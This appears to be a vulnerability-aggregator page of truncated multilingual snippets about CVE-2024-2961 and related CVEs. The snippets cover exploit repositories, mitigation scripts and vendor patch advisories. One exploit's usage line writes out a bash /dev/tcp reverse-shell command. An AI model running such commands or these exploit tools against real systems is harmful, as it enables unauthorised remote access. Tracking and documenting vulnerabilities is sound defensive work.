osTicketFileReadIntoRCE

CVE-2026-22200: osTicket 任意文件读取导致远程代码执行 全链利用：结合 PHP filter chain 注入与 CVE-2024-2961 CNEXT，在易受攻击的 osTicket 安装上实现未授权远程代码执行。 目录 概述 漏洞详情 攻击流程 功能特性 安装 使用方法 技术细节 故障排除 检测与缓解 致谢 免责声明 概述 本仓库包含 CVE-2026-22200 的概念验证利用代码，该漏洞影响 osTicket ≤ 1.18.2 版本。该利用将两种强大的技术链式组合：...

iconvfix

iconvfix 用于修补 CVE-2024-2961 的 Bash 脚本 目前适用于 Centos7. 无保修, 请勿在生产系统上使用, 这只是一个内部辅助工具 : 用法 tsh ssh username@target sudo 'bash -s' iconvfix.sh...

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' Originalmente, CVE-2023–26326 requería cadenas de gadgets para explotarla como una vulnerabilidad de deserialización. Este método ya no es viable en sitios WordPress más nuevos que ejecutan PHP 8+; sin embarg...

CVE-2024-2961_poc

此存储库没有 README。...

FIX-CVE-2024-2961

Script de shell rápido y sencillo para mitigar CVE-2024-2961 en Ubuntu y probablemente otras plataformas ejecuta el script de shell y eso debería ser suficiente. También puede que necesites modificar la ruta para las configuraciones de gconv Matt...

CVE-2024-2961

CVE-2024-2961 利用 CVE-2024-2961 实现任意文件读取 用法 配合 wrapwrap 使用效果最佳。 root@kitploit: usage: arbitrary-file-read.py -h -t TARGET -c CHAIN -ct CONTENTTYPE --prefix-len PREFIXLEN --suffix-len SUFFIXLEN options: -h, --help show this help message and exit -t TARGET, --target TARGET The target URL e.g...

cve-2024-2961

cve-2024-2961 Versión personalizada de https://sansec.io/downloads/cve-2024-2961.c Crédito: https://github.com/ambionics/cnext-exploits https://github.com/absolutedesignltd/iconvfix...

CVE-2022-31626-CVE-2024-2961-CVE-2019-6977

CVE-2022-31626, CVE-2024-2961, CVE-2019-6977 Donar Apoya el mantenimiento de este proyecto con PayPal o escaneando el código QR a continuación. ⚡ Uso sencillo Utilice este proyecto únicamente en entornos seguros y autorizados, como: Máquinas virtuales locales Contenedores Docker Configuraciones d...

ROOT-OS-DEBIAN-12-CVE-2022-2961 CVE-2022-2961 in linux - Patched by Root

Root has patched CVE-2022-2961 in the linux package for Root:Debian:12. Multiple fixed versions available...

ROOT-OS-UBUNTU-2404-CVE-2022-2961 CVE-2022-2961 in linux - Patched by Root

Root has patched CVE-2022-2961 in the linux package for Root:Ubuntu:24.04. Multiple fixed versions available...

ROOT-OS-UBUNTU-2204-CVE-2022-2961 CVE-2022-2961 in linux - Patched by Root

Root has patched CVE-2022-2961 in the linux package for Root:Ubuntu:22.04. Multiple fixed versions available...

ROOT-OS-DEBIAN-11-CVE-2022-2961 CVE-2022-2961 in linux - Patched by Root

Root has patched CVE-2022-2961 in the linux package for Root:Debian:11. Multiple fixed versions available...

Photon OS 5.0: Glibc PHSA-2024-5.0-91-0250

An update of the glibc package has been released. %NASLMINLEVEL 80900 C Tenable, Inc. The descriptive text and package checks in this plugin were extracted from VMware Security Advisory PHSA-2024-5.0-91-0250. The text itself is copyright C VMware, Inc. include'compat.inc'; if description...

Exploit for CVE-2024-2961

CVE-2026-22200: osTicket Arbitrary File Read to RCE...

CVE-2026-2961

A vulnerability has been found in D-Link DWR-M960 1.01.07. This affects the function sub4196C4 of the file /boafrm/formVpnConfigSetup of the component VPN Configuration Endpoint. The manipulation of the argument submit-url leads to stack-based buffer overflow. The attack is possible to be carried...

CVE-2026-2961

creationtimestamp| type| source ---|---|--- 2026-02-23 01:18:43+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3mfiiamrbzf26 2026-02-23 01:19:43+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3mfiicgh6n325 2026-02-23 06:00:37+00:00| seen|...

EUVD-2026-2961

There is a vulnerability in the Supermicro BMC firmware validation logic at Supermicro MBD-X12STW-F . An attacker can update the system firmware with a specially crafted image...

CVE-2019-2961

Vulnerability in the Oracle Solaris product of Oracle Systems component: SMF services & legacy daemons. The supported version that is affected is 11. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Orac...

TencentOS Server 3: glibc (TSSA-2024:0134)

The version of Tencent Linux installed on the remote TencentOS Server 3 host is prior to tested version. It is, therefore, affected by a vulnerability as referenced in the TSSA-2024:0134 advisory. Package updates are available for TencentOS Server 3 that fix the following vulnerabilities:...

Siemens SIMATIC S7-1500 Out-of-bounds Write (CVE-2024-2961)

The iconv function in the GNU C Library versions 2.39 and older may overflow the output buffer passed to it by up to 4 bytes when converting strings to the ISO-2022-CN-EXT character set, which may be used to crash an application or overwrite a neighbouring variable. This plugin only works with...